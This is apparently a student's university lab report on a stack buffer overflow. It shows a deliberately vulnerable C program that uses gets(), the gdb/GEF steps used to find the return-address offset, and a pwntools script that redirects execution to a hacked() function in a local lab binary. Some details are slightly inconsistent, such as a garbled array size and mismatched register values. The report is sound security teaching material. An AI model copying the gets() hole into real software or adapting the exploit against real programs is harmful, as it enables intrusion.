

CSC472 Lab Report

By: Alex Cooper

Set Up:

```
GNU nano 7.2 lab2.c *
#include <stdio.h>
#include <string.h>

void hacked()
{
    /* change YOURNAME to your name :) */
    puts("Hacked by Alex Cooper *Airhorn*!!!!");
    return 0;
}

void return_input(void)
{
    /* Please set the array size equal to
       the last two digits of your student ID
       e.g. 0861339 --> array size should set to 39 */
    int a = 30;
    char array[82S];
    double b = 99;
    gets(array);
    printf("%s\n", array);
}

^G Help      ^O Write Out ^W Where Is  ^K Cut       ^T Execute
^X Exit      ^R Read File ^\ Replace   ^U Paste     ^J Justify
```

```

student@lab-stackoverflow-ac1029982:~$ file lab2
lab2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV)
, dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[
sha1]=78c3437bb776f4d934301a73b68e145a095ce476, for GNU/Linux
3.2.0, not stripped
student@lab-stackoverflow-ac1029982:~$ ./lab2
# Provide input when asked; a very long line may crash due to
overflow.
# Provide input when asked; a very long line may crash due to
overflow.
student@lab-stackoverflow-ac1029982:~$ ./lab2
Party
Party
student@lab-stackoverflow-ac1029982:~$ ./lab2
Hello world AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello world AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
student@lab-stackoverflow-ac1029982:~$ █

```

Screenshots showing your **GEF** workflow (pattern generation, offset finding):

Setting up test_cyclic.py

```

GNU nano 7.2      test_cyclic.py
# Example: generate a test input in Python (save as
# test_cyclic.py rather than overwriting exploit.py)
from pwn import *
payload = cyclic(400, n=4)
#generate a unique pattern
open('in.txt', 'wb').write(payload)

```

Register addresses

```

student@lab-stackoverflow-ac1029982:~$ gdb -q ./lab2
t
[ Legend: Modified register | Code | Heap | Stack | String ]
_____ registers _____
$eax   : 0x191
$ebx   : 0x61626261 ("abba"? )
$ecx   : 0xf7faf9b8 → 0x00000000
$edx   : 0x1
$esp   : 0xffffd4c0 → "abeaabfaabgaabhaabiaabjaabkaablaabmaa
bnaaboaabpaab[...]"
$ebp   : 0x61636261 ("abca"? )
$esi   : 0x0804bf04 → 0x08049130 → <__do_global_ctors_aux+
0000> cmp BYTE PTR ds:0x804c014, 0x0
$edi   : 0xf7ffcb80 → 0x00000000
$eip   : 0x61646261 ("abda"? )
$eflags: [zero carry parity adjust SIGN trap INTERRUPT directi
on overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
_____ stack _____

```

Finding pattern offset

```

gef> pattern offset 0x61646261
[+] Searching for '61626461'/'61646261' with period=4
[+] Found at offset 110 (little-endian search) likely
gef> quit
student@lab-stackoverflow-ac1029982:~$

```

Finding address of hacked()

```

Non-debugging symbols:
0x08049162 hacked
gef> p &hacked
$1 = (<text variable, no debug info> *) 0x8049162 <hacked>
gef> disassemble hacked
Dump of assembler code for function hacked:
   0x08049162 <+0>:   push    ebp
   0x08049163 <+1>:   mov     ebp,esp
   0x08049165 <+3>:   push    ebx
   0x08049166 <+4>:   sub     esp,0x4
   0x08049169 <+7>:   call    0x80491ef <__x86.get_pc_thunk.a
x>
   0x0804916e <+12>:  add     eax,0x2e86
   0x08049173 <+17>:  sub     esp,0xc
   0x08049176 <+20>:  lea     edx,[eax-0x1fec]
   0x0804917c <+26>:  push    edx
   0x0804917d <+27>:  mov     ebx,eax
   0x0804917f <+29>:  call    0x8049050 <puts@plt>
   0x08049184 <+34>:  add     esp,0x10
   0x08049187 <+37>:  nop
   0x08049188 <+38>:  mov     ebx,DWORD PTR [ebp-0x4]
   0x0804918b <+41>:  leave
   0x0804918c <+42>:  ret
End of assembler dump.
gef>
Dump of assembler code for function hacked:

```

A successful run of your exploit printing the personalized message from hacked():

```

student@lab-stackoverflow-ac1029982:~$ python3 exploit.py
[+] Starting local process './lab2': pid 1333
1333
[*] Switching to interactive mode
$
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAb\x91\x04
Hacked by Alex Cooper *AIRHORN NOISE*!!!!
[*] Got EOF while reading in interactive
$
[*] Process './lab2' stopped with exit code -11 (SIGSEGV) (pid 1333)
[*] Got EOF while sending in interactive

```

A short explanation of how you determined the **offset** and validated it.

In this lab I was able to determine the offset using the GDB tool. After entering the command “run < in.txt” which executed the program with the input of the cyclic_test.py file result, we are able to see the addresses we need specifically the EIP (Instruction pointer). From there we can use GDB “pattern offset” with the EIP address of 0x61666261 which will then provide us the number we need, in my case 110. To verify this, I added it into the exploit.py before finding the other portion of the payload (the hacked address). When ran the script it would still force a crash implying the offset was right and just required the addition of the appropriate address to be successful. Once I obtained and implemented

the address I was able to see the result of the hacked function which confirmed the offset was correct.

Relevant code snippets and concise diagrams if needed:

Final Exploit Script

```
GNU nano 7.2      exploit.py
#!/usr/bin/python

from pwn import *

def main():
    # start a process
    p = process("./lab2")

    # create payload
    # Please put your payload here
    payload = b"A"*110+bytes([0x62,0x91,0x04,0x08])

    # print the process id
    raw_input(str(p.proc.pid))

    # send the payload to the binary
    p.send(payload)

    # pass interaction bac to the user
    p.interactive()
```